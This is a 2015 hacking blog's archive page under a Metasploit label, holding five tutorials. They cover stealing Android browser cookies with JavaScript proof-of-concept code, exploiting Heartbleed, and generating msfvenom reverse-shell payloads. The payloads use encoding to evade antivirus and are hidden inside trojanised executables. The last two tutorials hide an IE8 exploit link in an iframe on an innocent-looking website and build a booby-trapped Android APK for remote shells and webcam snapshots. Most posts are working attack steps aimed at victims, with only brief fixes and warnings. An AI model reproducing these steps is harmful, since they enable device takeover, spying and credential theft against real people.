Showing posts with label metasploit. Show all posts
Showing posts with label metasploit. Show all posts

Sunday, 5 July 2015

Stealing Android Browser Cookies Using Cross Scheme Data Exposure Attack

android-cookies-stealing-cross-scheme-attack- picateshackz.com

tl;dr This exploit is an issue present in Android browser < 4.4 and several other android browsers which allows an attacker to read sqlite cookie database file and hence exposing all cookies. Along with it we will talk about a Cross Scheme Data exposure and intent URL scheme attack in Android < 4.4.


Introduction

During our research on ASOP (Stock Browser) we found out that is is possible to open links to local files using file:// protocol by from a webpage by selecting "Open Link in New tab" from the context menu". This itself is does not represent a vulnerability unless there is a way to read local files and use be able to retrieve the files remotely. However, what caught my attention here is this by default is not permitted browsers such as Chrome, Firefox, Opera etc.

The following screenshot demonstrates the error which is obtained when trying to access a local file from context menu.

android-cookies-stealing- picateshackz.com


Attack Plan 

In order to exploit this issue, the following was the attack plan we came up with:

  1. User visits Attacker.com.
  2. Attacker.com forces a download (exploit.html) on the victim's browser using content disposition header. The purpose of the exploit.html would be read local files and send it back to the attacker.
  3. The victim opens up a link by selecting "Open Link in New tab" which opens the local file exploit.html which was forced as download.
  4. Our file exploit.html would then be reading other local files and sending it back to the attacker.


In order to write an effective exploit for the attack, I coped up with Haru Sugiyama a Security researcher from Japan. He came up with the following POC:


Upon accessing the above page from android browser, it would first force the following file "exploit.html". Both FireFox and Android browser save files to '/sdcard/Download/exploit.html' in case sdcard is available. The exploit.html file would then try reading the other local files. However, this was not easy as it looked at first sight. Let's first talk about how the results from Android Gingerbread were different from Jellbeans.



Android Gingerbread:Observations 

In case of Android Gingerbread Emulator build 2.3 we are easily able to read other local files, this represents a vulnerability as in the browser, as it effectively allows a website to perform cross domains data theft and hence violating the same-origin-policy. The impact however is not large as roughly 11.4% of the users now use Android Gingerbread and they are dying slowly just like windows xp.

android-cookies-stealing- picateshackz.com



Android JellyBeans: Observations

In case jellybeans we found out that a local file was not able to read a local files, We then tried our old null byte trick and it worked like a charm.

The following is the POC:

<button onclick="exploit()">Read iframe</button>
<button onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')">Try \u0000</button>
<iframe src="file:/default.prop" name="test" style='width:100%;height:200'></iframe>
<script>
function exploit() {
  var iframe = document.getElementsByTagName('iframe')[0];
  try{
    alert("Try to read local file.");
    alert("contentWindow:"+iframe.contentWindow);
    alert("document:"+iframe.contentWindow.document);
    alert("body:"+iframe.contentWindow.document.body);
    alert("innerHTML:"+iframe.contentWindow.document.body.innerHTML);
  } catch(e) {
    alert(e);
  }
}
</script>

However, due to the discovery of CVE-2014-6041 the nullbytes issue was already patched and the above exploit did not work on patched devices.


Intent URL Scheme Attack

Based upon our above findings it was concluded that in Android Jellybeans the access to local files was not an issue due to the fact that a local file could not read other local files. However Joe Vennix from metasploit team came up with a more strong way to exploit it by abusing the intent scheme. The following paper -> http://www.mbsd.jp/Whitepaper/IntentScheme.pdf describes a potential way of exploiting this issue. The following is the POC described in the paper:

android-cookies-stealing- picateshackz.com


The idea behind the attack vector is to saved a cookie containing javaScript code and trick the victim into opening the sqlite database file. Upon viewing the injected javascript would be executed in the context of a cookie file and would grab the rest of the cookies from the database file. Following is the basic POC, when when executed would read the entire webviewCookieChromium.db file.

<!doctype html> <html> <head><meta name="viewport" content="width=device-width, user-scalable=no" /></head> <body style='width:100%;font-size: 16px;'> <a href='file:///data/data/com.android.browser/databases/webviewCookiesChromium.db'> Redirecting... To continue, tap and hold here, then choose "Open in a new tab" </a> <script>

document.cookie='x=<img src=x onerror=prompt(document.body.innerHTML)>';


</script> </body> </html>

Joe has created a Metasploit module, which automates the process of stealing the cookies and sending it back to you , since the db file also contains httponly cookies as well this attack is quite dangerous.



Steps to Reproduce with Metasploit:

The following screenshots would walk you through the process of exploiting and retrieving the cookies:

If you don't know how to use metasploit then i suggest you to read this article: 
Introduction to using Metasploit in Kali Linux


Step 1 - Setting up the Module

android-cookies-stealing- picateshackz.com


Step 2 - Stealing The Cookies


All you need to sit back and watch the cookies coming to you.

android-cookies-stealing- picateshackz.com 3


Step 3 - Enjoy


android cookies stealing- picateshackz.com


Patch

The access to the data directory was tightened back in Feb 2014, however due to the android patch policies the patch did not make to most of the vendors.

Credits

I would like to thank Tod Beardsley and Joe Vennix from the metasploit team for their extensive support with analyzing and helping to co-ordinate with Google effectively. As well as Haru Sugiyama for his help and support.



Monday, 8 June 2015

Heartbleed Attack: Exploiting OpenSSL Vulnerability Using Metasploit

Heartbleed Attack: Exploiting OpenSSL Vulnerability- picateshackz.com

On 07, April 2014 a patch was released for OpenSSL to fix a very controversial vulnerability – The Heartbleed Bug. According to a report, over 500,000 servers were found to be vulnerable but more and more admins are now patching their machines and the numbers are decreasing steadily.

Affected servers are vulnerable to hacking (extraction of information such as user credential’s, cookies, server private keys, Personal Identification Info etc. from the memory). The bug is so big that major websites like Google, Facebook, Tumblr, Instagram, Yahoo, Pinterest etc. were also vulnerable. This exploit is in existence for more than 2 years without anyone’s attention.

Basically, OpenSSL is an encryption library used in HTTPS (secure HTTP). The idea is that any data traveling over this secured version of HTTP should be secure and encrypted. During communication, OpenSSL uses a "heartbeat" that echoes back data to verify that the data was received correctly. It's kind of like one machine telling the other, "Yes, I got that data and you can send more now."

The Heartbleed vulnerability enables a hacker to trick OpenSSL by sending a single byte of data while telling the server it sent 64K bytes of data. The server will then send back 64K bytes of data to be checked and echoed back. The server will then respond with 64K of random data from its memory.

In this post you’ll learn to exploit the Heartbleed bug for getting a buggy website’s OpenSSL to spill the contents of its memory and possibly give us the user’s credentials and other information.


Requirement :-

For this tutorial we will be using a great tool i.e. Metasploit Framework. It’s pre-included in Kali Linux.


Steps To Follow :-



First of all, if you haven’t updated your metasploit framework in quit a while i would recommend it doing now to get the new auxiliary module for Heartbleed.


Step 1. Update Metasploit


Open terminal in kali linux and type:

#apt-get update
#msfupdate

Metasploit will then go through the long and slow process of updating its modules and framework. Be patient here, it takes awhile. When you are finally returned to the Kali prompt, the update has completed.



Once the update process is done. You should get the HeartBleed exploit downloaded. You can check if you have got it, by running the following command.
#ls /usr/share/metasploit-framework/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

And you should see the file listed:



Step 2. Start the Metasploit


Now it’s time to run the attack. To do so, start the metasploit console by running the following command

#msfconsole

And you should see a screen like this:










:)


Step 3. Find Heartbleed and Use Auxiliary Module


Now, we need to find the new Heartbleed module. We can use the built-in search feature in Metasploit. Type:

#search heartbleed

This should bring up two auxiliary modules for Heartbleed. Select the first one as I've highlighted below:



After You Got the heart Bleed Auxiliary Path. Issue the following Command:

#use auxiliary/scanner/ssl/openssl_heartbleed


This will load the heartbleed module.


Step 4. Set Options and Run the Module


Although this module has numerous options, the critical one is RHOSTS (notice the plural here). Let's set it to a target website I set up on my network that is still vulnerable to Heartbleed. type the following command to set RHOSTS:

#set RHOSTS 192.168.1.169


Now set the RPORT by typing the follow command:
#set RPORT 443

Finally, set the option 'verbose" to "true". This will provide us with verbose output. type:

#set verbose true

And you are all set to run the command. And how do you run it. Well. By simply typing

#run

And here is an example of the output of a vulnerable website:



If everything went as planned the server will leak about 64K bytes of what was in its memory. This could contain anything from username-password pairs to credit card numbers which is why this hack (along with pretty much all others) is very much illegal to actually try on a live website without the developer’s explicit consent.


Fixing the Bug

Ok, so we have talked about the dark side of the moon. So it’s customary to talk about the bright side as well. So here is a quick 3 step guide on how to fix your site if it possesses this vulnerability. And how do you know if it possesses or not? You do the above steps and see if the output throws back any data or not. If it shows a screen like below. Then you are all clear.



But if you find the vulnerability then you should

1. Go ahead and upgrade your Open SSL version with the patched version of the OpenSSL. And that would be “OpenSSL 1.0.1g”. Also there is a chance your Linux Distribution has back ported the fix to an older stable release of the OpenSSL. So please check with your distribution provider to see if you can just run a package upgrade or you have to compile the latest version of SSL from code for your distribution.

2. Regenerate the SSL Private Key and certification verification request. This is necessary to make sure if anyone has already exploited your server’s vulnerability during the zero day or before the information went public. S/he cannot at least compromise your secure data by using the previously captured private key anymore.

3. And finally, get the key verified by a SSL Certification Authority of your choice and redeploy it to your webserver

And there is a point 4 as well. But this one is more philosophical than technical. If your server had the vulnerability and you have just fixed it. And your server was storing user password. Then please go ahead and ask all your user’s to immediately change their password. This is to make sure if someone had already exploited this vulnerability on your server. Then he cannot use the user credentials anymore.


Tuesday, 5 May 2015

Msfvenom: One Single Tool Instead Of Msfpayload And Msfencode

Msfvenom Instead Of Msfpayload And Msfencode- picateshackz.com

From 8th june 2015 we will no longer receive the services of msfpayload and msfencode. They are going to retire permanently. Yeah! Permanently off course this is a bad news. These both tools are serving us since ten years but the time has come to say good bye. Thank you msfpayload and msfencode for serving us in every level of hacking or penetration testing we will never forget you.


But the good news is msfpayload and msfencode are being replaced by a new tool called msfvenom. This is the combination of both the tools, almost from three and half years this new tool is being tested and the time has come to use it.


msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single framework instance. The advantages of msfvenom are:
  • One single tool
  • Standardized command line options
  • Increased speed

There are wide range of options that came under msfvenom, To start using msfvenom, first please take a look at the options it supports:



root-Manin@kali:~# msfvenom -h
Usage: /usr/bin/msfvenom [options] <var=val>
Options:
    -p, --payload    <payload>       Payload to use. Specify a '-' or stdin to use custom payloads
    -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all
    -n, --nopsled    <length>        Prepend a nopsled of [length] size on to the payload
    -f, --format     <format>        Output format (use --help-formats for a list)
    -e, --encoder    [encoder]       The encoder to use
    -a, --arch       <architecture>  The architecture to use
        --platform   <platform>      The platform of the payload
    -s, --space      <length>        The maximum size of the resulting payload
    -b, --bad-chars  <list>          The list of characters to avoid example: '\x00\xff'
    -i, --iterations <count>         The number of times to encode the payload
    -c, --add-code   <path>          Specify an additional win32 shellcode file to include
    -x, --template   <path>          Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --options                    List the payload's standard options
    -h, --help                       Show this message
        --help-formats               List available formats

Basic usage of msfvenom



How to generate a payload


To generate a payload, there are two flags that you must supply (-p and -f):



  • The -p flag: Specifies what payload to generate

To see what payloads are available from Framework, you can do:



./msfvenom -l payloads

The -p flag also supports "-" as a way to accept a custom payload:



cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw


  • The -f flag: Specifies the format of the payload


Syntax example:



./msfvenom -p windows/meterpreter/bind_tcp -f exe

To see what formats are supported, you can do the following to find out:



./msfvenom --help-formats

Typically, this is probably how you will use msfvenom:



$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe


How to encode a payload


By default, the encoding feature will automatically kick in when you use the -b flag (the badchar flag). In other cases, you must use the -e flag like the following:



./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

To find out what encoders you can use, you can use the -l flag:



./msfvenom -l encoders

You can also encode the payload multiple times using the -i flag. Sometimes more iterations may help avoiding antivirus, but know that encoding isn't really meant to be used a real AV evasion solution:



./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3


How to avoid bad characters


The -b flag is meant to be used to avoid certain characters in the payload. When this option is used, msfvenom will automatically find a suitable encoder to encode the payload:



./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw


How to supply a custom template


By default, msfvenom uses templates from the msf/data/templates directory. If you'd like to choose your own, you can use the -x flag like the following:



./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

Please note: If you'd like to create a x64 payload with a custom x64 custom template for Winodws, then instead of the exe format, you should use exe-only:



./msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe

The -x flag is often paired with the -k flag, which allows you to run your payload as a new thread from the template. However, this currently is only reliable for older Windows machines such as x86 Windows XP.


Source:



Official announcement article from Rapid7 Community






Tuesday, 3 March 2015

How To Get Root Access When People Visit Your Website - Metasploit Exploiting IE8


Metasploit Exploiting IE8- picateshackz.com

It is a complete tutorial to get root access when people visit your website, here i'm using powerful tool Metasploit to setup backdoor entry. Metasploit is build in Hackers Os Kali Linux, i'm suggesting you to read my previous article to know more about Kali Linux: An Introduction To Hacker’s OS: Kali Linux And Setup Tutorial.

The art of hacking is presently focused on attacking the client side rather than the server side. Server operating systems have become more secure, while clients are loaded with insecure software that can be easily exploited. So, as you would expect, the best hacks are now coming at the client side software. so here i'm exploring a client side hack.

Hacking IE8 for Root Access

In this hack, we will exploit Microsoft's Internet Explorer 6, 7, and 8 onWindows XP, Vista, Windows 7 or Windows Server 2003 and 2008.
When Windows 7 and Windows Server 2008 were released, the default browser was IE8, so unless the target has upgraded their browser, this vulnerable browser is still on their system and we can hack it. In our example, we will use IE 8 on Windows Vista, but it will work on any of the operating systems listed above with Internet Explorer 8.1 or earlier on it.
So, let's get started. Fire up your Metasploit on Kali Linux  (Introduction to using Metasploit)

Step 1: Find the Appropriate Exploit

Let's find the appropriate exploit by searching Metasploit for a Windows exploit that takes advantage of unsafe scripting. Type:
msf> search type:exploit platform:windows unsafe
As you can see from the screenshot below, this search brought 15 exploits. The one we want is /exploit/windows/browser/ie_unsafe_scripting.

Step 2: Select This Exploit

Next tell Metasploit that this is the exploit we want to use. Type:
msf> use /exploit/windows/browser/i.e._unsafe_scripting

Step 3: Select the Payload

Then load the payload, in this case, windows/meterpreter/reverse_tcp:
msf> set PAYLOAD windows/meterpreter/reverse_tcp

Step 4: Check Required Options

Next, let's check to see what options this exploit requires:
msf> show options
We can see from the output displayed above that the payload requires us to set local host (LHOST), or in other words, the IP address of our machine. In my case, it's 192.168.1.100.

Step 5: Set Local Host

We need to tell Metasploit what our local host (LHOST) IP address is. Type:
msf> set LHOST 192.168.1.100
Because this is a client-side exploit, we don't need to set the RHOST as we need to manually attack the system by getting them to click on our malicious link.


Step 6: Run the Exploit

Now, let's run the exploit. Type:
msf> exploit (ie_unsafe_scripting) > exploit
As you can see in the screenshot below, this exploit has generated a link (http://192.168.1.100:8080/HG6Kn71Nva ) that we will have to get our targets to load so we can exploit their browser. To do this, we'll add a little HTML to an innocent looking webpage.



Step 7: Add the URL to an <IFRAME> Tag

In order to get your target's browser to load your malicious URL, you can either send it to them directly, or embed it in an iframe on your perfectly innocent website. To do so, just add the following tag to your html anywhere inside the <body> element:

<iframe src="http://192.168.1.100:8080/HG6Kn71Nva "></iframe>

When the victim tries to load the page, nothing will be displayed. The browser will hang, but we will have activity at our msfconsole. When the victim navigates to the link it will open a active Meterpreter session that we are connected to. We now own this box!

Thank you.

Wednesday, 11 February 2015

Hack Android Remotely Using Kali Linux

Hack Android Remotely Using Kali Linux- picateshackz.com

This is a tutorial explaining how to remotely hack android device using Metasploit in Kali Linux.


Read my previous articles to setup Kali Linux:
Metasploit is one of my favorite security tools. What some don’t know is that Metasploit has added some functionality for security testing Android Devices. In this post we will show you how to get a remote shell on an Android by using Metasploit in Kali Linux.


Read this article to know more about Metasploit: Introduction to using Metasploit in Kali Linux

We will do this by creating a “malicious” Android program file, an APK file, so that once it is run, it will connect out to our attacking machine running Metasploit. We will set Metasploit up to listen for the incoming connection and once it sees it, create a fully functional remote shell to the device.

First up you need to find your public/external ip and port forwarding 

Let's start,

Creating a booby trapped APK file


Now we need to create the APK that will include a remote shell. To do so, we will use the msfpayload command from Metasploit.

1. In Kali Linux, open a terminal prompt and type:

sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 R >app.apk

(Replace the highlighted part with your Kali Linux IP address in for the LHOST address and forwarded port in for the LPORT address.)



The msfpayload command takes one of the meterpreter payloads and allows you to create a stand alone file with it.

Once this is run, a file called “app.apk” will be created:





2. Now just send this file to your Android device, I used a Smart Phone in this instance.

3. When the file is installing on the Android, it will come up like all apps and show you what capabilities it wants access to on your phone. It lists like every possibility I think, basically total access to the phone. This should be a warning to users that this isn’t an app that they should be running!

Now that the “evil” app is installed, we need to set Metasploit up to listen for incoming connections.

4. In Kali, start Metasploit from the menu or by typing “msfconsole” in a Terminal window.

5. Once Metasploit starts, type in the following to create a listener:


user exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.16 (enter your Kali IP address)
set lport 4444


Then just type exploit to start the handler:





6. Run the App on your Android device. It should show up as a big “M” icon with a name something like “Main Activity”.

7. A big button will appear on your phone that says, “ReverseTcp”, when it is pressed, your phone will connect out to the Metasploit system and a remote shell session is created.

On your Metaploit system you should see this:





An active session is created and it drops you automatically into a meterpreter prompt.

8. From here your can type “sysinfo” to get information on the device:




9. You can see the processes running by typing, “ps”:



You are done!

Now you can surf the Android device remotely by using standard Linux commands like ls, pwd, and cd. The Download directory usually has interesting things in it.

Though it errored out on mine, you can type “webcam_list” to get a list of the phone’s web cams, then “webcam_snap” to take a snapshot from the webcam.

Typing “help” at a meterpreter prompt will list all the command that are available.

We can also run the shell command that will drop us into a direct Terminal shell if we want:



meterpreter > shell
Process 1 created.
Channel 1 created.
ls


The Android phone in this example was not rooted, so I could not access the stored passwords, texts or phone logs.

But if the phone was rooted, I should have been able to access them… Remotely…

This should be noted by people who have rooted their phone!

And that is it! One wrong app installed by a user and an attacker could get remote access to your phone or other Android device. Did I mention that the phone was running an Anti-Virus program from a major vendor? It had no problems with letting my remote shell run…

Pay special attention to the rights and capabilities that an app wants when installing new apps. If a game wants full access to your phone, including the ability to make pay phone calls, this should be a red flag.